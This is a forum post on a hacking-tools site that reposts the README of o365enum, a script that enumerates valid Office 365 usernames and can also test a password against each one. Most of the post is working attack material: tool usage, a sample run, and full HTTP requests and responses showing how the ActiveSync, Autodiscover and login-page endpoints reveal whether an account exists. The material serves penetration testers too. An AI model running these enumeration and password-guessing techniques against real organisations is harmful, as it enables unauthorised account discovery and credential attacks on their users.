# O365Enum | Enumerate Valid Usernames From Office 365 Using ActiveSync, Autodiscover V1, Or Office.Com Login Page

**URL:** <https://onehack.st/t/o365enum-enumerate-valid-usernames-from-office-365-using-activesync-autodiscover-v1-or-office-com-login-page/181707>\
**Category:** Tools & Scripts\
**Tags:** tools, privacy, freebies\
**Created:** [May 5, 2021, 9:28pm UTC](https://onehack.st/t/o365enum-enumerate-valid-usernames-from-office-365-using-activesync-autodiscover-v1-or-office-com-login-page/181707 "2021-05-05T21:28:29Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\
**Post date:** [May 5, 2021, 9:28pm UTC](https://onehack.st/t/o365enum-enumerate-valid-usernames-from-office-365-using-activesync-autodiscover-v1-or-office-com-login-page/181707/1 "2021-05-05T21:28:29Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/e/3/e3cd0fd8c576f16855af2021677c493051062f7b.png)

# Office 365 User Enumeration

Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover, or [office.com](http://office.com) login page.

## Usage

o365enum will read usernames from the file provided as first parameter. The file should have one username per line. The output is CSV-based for easier parsing. Valid status can be 0 (invalid user), 1 (valid user), 2 (valid user and valid password).

```auto
python3.6 o365enum.py -h
usage: o365enum.py [-h] -u USERLIST [-p PASSWORD] [-n NUM] [-v]
                   [-m {activesync,autodiscover,office.com}]

Office365 User Enumeration Script

optional arguments:
  -h, --help show this help message and exit
  -u USERLIST, --userlist USERLIST
                        username list one per line (default: None)
  -p PASSWORD, --password PASSWORD
                        password to try (default: Password1)
  -n NUM, --num NUM # of reattempts to remove false negatives (default: 3)
  -v, --verbose Enable verbose output at urllib level (default: False)
  -m {activesync,autodiscover,office.com}, --method {activesync,autodiscover,office.com}
                        method to use (default: activesync)

```

Example run:

```auto
./o365enum.py -u users.txt -p Password2 -n 1 -m activesync
username,valid
nonexistent@contoso.com,0
existing@contoso.com,1

```

## Enumeration Methods

### ActiveSync Enumeration

This method is based on grimhacker’s [method](https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/) that sends Basic HTTP authentication requests to ActiveSync endpoint. However, **checking the status code no longer works given that Office365 returns a 401 whether the user exists or not**.

Instead, we send the same request but check for a custom HTTP response header (`X-MailboxGuid`) presence to identify whether a username is valid or not.

#### Existing Account

The request below contains the following Base64 encoded credentials in the Authorization header: [valid\_user@contoso.com](mailto:valid_user@contoso.com):Password1

```auto
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=

```

This elicits the following response (“401 Unauthorized”) with the `X-MailboxGuid` header set, indicating that the username is valid but the password is not:

```auto
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: d494a4bc-3867-436a-93ef-737f9e0522eb
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-MailboxGuid: aadaf467-cd08-4a23-909b-9702eca5b845 <--- This header leaks the account status (existing)
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-Powered-By: ASP.NET
X-FEServer: AM0PR06CA0096
WWW-Authenticate: Basic Realm="",Negotiate
Date: Fri, 31 Jan 2020 13:02:46 GMT
Connection: close

--snip--

```

#### Nonexistent Account

The request below contains the following Base64 encoded credentials in the Authorization header: [invalid\_user@contoso.com](mailto:invalid_user@contoso.com):Password1

```auto
OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==

```

This elicits the following response (“401 Unauthorized” but this time without the `X-MailboxGuid` header, indicating the username is invalid.

```auto
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
request-id: 2944dbfc-8a1e-4759-a8a2-e4568950601d
X-CalculatedFETarget: DB3PR0102CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate
X-FEProxyInfo: DB3PR0102CA0017.EURPRD01.PROD.EXCHANGELABS.COM
X-CalculatedBETarget: DB7PR04MB5452.eurprd04.prod.outlook.com
X-BackEndHttpStatus: 401
X-RUM-Validated: 1
X-DiagInfo: DB7PR04MB5452
X-BEServer: DB7PR04MB5452
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 401
X-FEServer: DB3PR0102CA0017
X-Powered-By: ASP.NET
X-FEServer: AM0PR04CA0024
Date: Fri, 31 Jan 2020 16:19:11 GMT
Connection: close

--snip--

```

### Autodiscover Enumeration

The autodiscover endpoint allows for user enumeration without an authentication attempt. The endpoint returns a 200 status code if the user exists and a 302 if the user does not exists (unless the redirection is made to an on-premise Exchange server).

#### Existing User

```auto
GET /autodiscover/autodiscover.json/v1.0/existing@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0

```

```auto
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 97
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
request-id: fee7f899-7115-43da-9d34-d3ee19920a89
X-CalculatedBETarget: AM0PR09MB2882.eurprd09.prod.outlook.com
X-BackEndHttpStatus: 200
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: AM0PR09MB2882
X-BEServer: AM0PR09MB2882
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 200
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0008
Date: Mon, 02 Mar 2020 12:50:48 GMT
Connection: close

{"Protocol":"Autodiscoverv1","Url":"https://outlook.office365.com/autodiscover/autodiscover.xml"}

```

#### Nonexistent User

```auto
GET /autodiscover/autodiscover.json/v1.0/nonexistent@contoso.com?Protocol=Autodiscoverv1 HTTP/1.1
Host: outlook.office365.com
User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
MS-ASProtocolVersion: 14.0

```

```auto
HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 277
Content-Type: text/html; charset=utf-8
Location: https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&Protocol=Autodiscoverv1&RedirectCount=1
Server: Microsoft-IIS/10.0
request-id: 1c50adeb-53ac-41b9-9c34-7045cffbae45
X-CalculatedBETarget: DB6PR0202MB2568.eurprd02.prod.outlook.com
X-BackEndHttpStatus: 302
X-RUM-Validated: 1
X-AspNet-Version: 4.0.30319
X-DiagInfo: DB6PR0202MB2568
X-BEServer: DB6PR0202MB2568
X-Proxy-RoutingCorrectness: 1
X-Proxy-BackendServerStatus: 302
X-Powered-By: ASP.NET
X-FEServer: AM0PR0202CA0013
Date: Mon, 02 Mar 2020 12:50:50 GMT
Connection: close

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="https://outlook.office365.com/autodiscover/autodiscover.json?Email=nonexistent%40contoso.com&amp;Protocol=Autodiscoverv1&amp;RedirectCount=1">here</a>.</h2>
</body></html>

```

### [Office.com](http://Office.com) Enumeration

**WARNING** : This method only works for organization that are subscribers of Exchange Online and that do not have on-premise or hybrid deployment of Exchange server.

For companies that use on premise Exchange servers or some hybrid deployment and based on some configuration I haven’t identified yet, the server might return a value indicating the username exists for any username value.

The method is useful when you don’t want to burn an authentication attempt with ‘Password1’ 🙂

#### Existing User

When the account does not exist, `IfExistsResult` is set to 0.

```auto
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json

{
    "checkPhones": false,
    "isOtherIdpSupported": true,
    "isRemoteNGCSupported": true,
    "federationFlags": 0,
    "isCookieBannerShown": false,
    "isRemoteConnectSupported": false,
    "isSignup": false,
    "originalRequest": "rQIIA--snip--YWSO2",
    "isAccessPassSupported": true,
    "isFidoSupported": false,
    "isExternalFederationDisallowed": false,
    "username": "existing@contoso.com",
    "forceotclogin": false
}

```

```auto
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 177110da-7ce4-4880-b856-be6326078046
x-ms-request-id: c708b83f-4167-4b4c-a1db-d2011ecb3200
x-ms-ests-server: 2.1.9966.8 - AMS2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=ArU-Dva0f59Eg4t_V3VsX_TsYIXWAQAAAFRGxtUOAAAA; expires=Sun, 01-Mar-2020 16:01:26 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=prod; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Fri, 31 Jan 2020 16:01:26 GMT
Connection: close
Content-Length: 587

{
    "Username":"existing@contoso.com",
    "Display":"existing@contoso.com",
    "IfExistsResult":0,
    "ThrottleStatus":0,
    "Credentials":{
        "PrefCredential":1,
        "HasPassword":true,
        "RemoteNgcParams":null,
        "FidoParams":null,
        "SasParams":null
    },
    "EstsProperties":{
        "UserTenantBranding":null,
        "DomainType":3
    },
    "IsSignupDisallowed":true,
    "apiCanary":"--snip--"
}

```

#### Nonexistent User

When the account does not exist, `IfExistsResult` is set to 1.

```auto
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: application/json
Connection: close
client-request-id: 4345a7b9-9a63-4910-a426-35363201d503
hpgrequestid: 23975ac9-f51c-443a-8318-db006fd83100
Referer: https://login.microsoftonline.com/common/oauth2/authorize
canary: --snip--
hpgact: 1800
hpgid: 1104
Origin: https://login.microsoftonline.com
Cookie: --snip--
Content-Length: 1255
Content-Type: application/json

{
    "checkPhones": false,
    "isOtherIdpSupported": true,
    "isRemoteNGCSupported": true,
    "federationFlags": 0,
    "isCookieBannerShown": false,
    "isRemoteConnectSupported": false,
    "isSignup": false,
    "originalRequest": "rQIIA--snip--YWSO2",
    "isAccessPassSupported": true,
    "isFidoSupported": false,
    "isExternalFederationDisallowed": false,
    "username": "nonexistent@contoso.com",
    "forceotclogin": false
}

```

```auto
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
client-request-id: 95bba645-c3b0-4566-b0f4-237bd3df2ca7
x-ms-request-id: fea01b74-7a60-4142-a54d-7aa8f6471c00
x-ms-ests-server: 2.1.9987.14 - WEULR2 ProdSlices
Referrer-Policy: strict-origin-when-cross-origin
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Set-Cookie: fpc=Ai0TKYuyz3BCp7OL29pUnG7sYIXWAQAAABsDztUOAAAA; expires=Sat, 07-Mar-2020 12:57:44 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=estsfd; path=/; SameSite=None; secure; HttpOnly
Set-Cookie: stsservicecookie=ests; path=/; secure; HttpOnly; SameSite=None
Date: Thu, 06 Feb 2020 12:57:43 GMT
Connection: close
Content-Length: 579

{
    "ThrottleStatus": 0,
    "apiCanary": "--snip--",
    "Username": "nonexistent@contoso.com",
    "IfExistsResult": 1,
    "EstsProperties": {
        "UserTenantBranding": null,
        "DomainType": 3
    },
    "Credentials": {
        "PrefCredential": 1,
        "FidoParams": null,
        "RemoteNgcParams": null,
        "SasParams": null,
        "HasPassword": true
    },
    "IsSignupDisallowed": true,
    "Display": "nonexistent@contoso.com"
}

```

## GitHub:

> **[GitHub - gremwell/o365enum: Enumerate valid usernames from Office 365 using...](https://github.com/gremwell/o365enum)**
>
> Enumerate valid usernames from Office 365 using ActiveSync, Autodiscover v1, or office.com login page.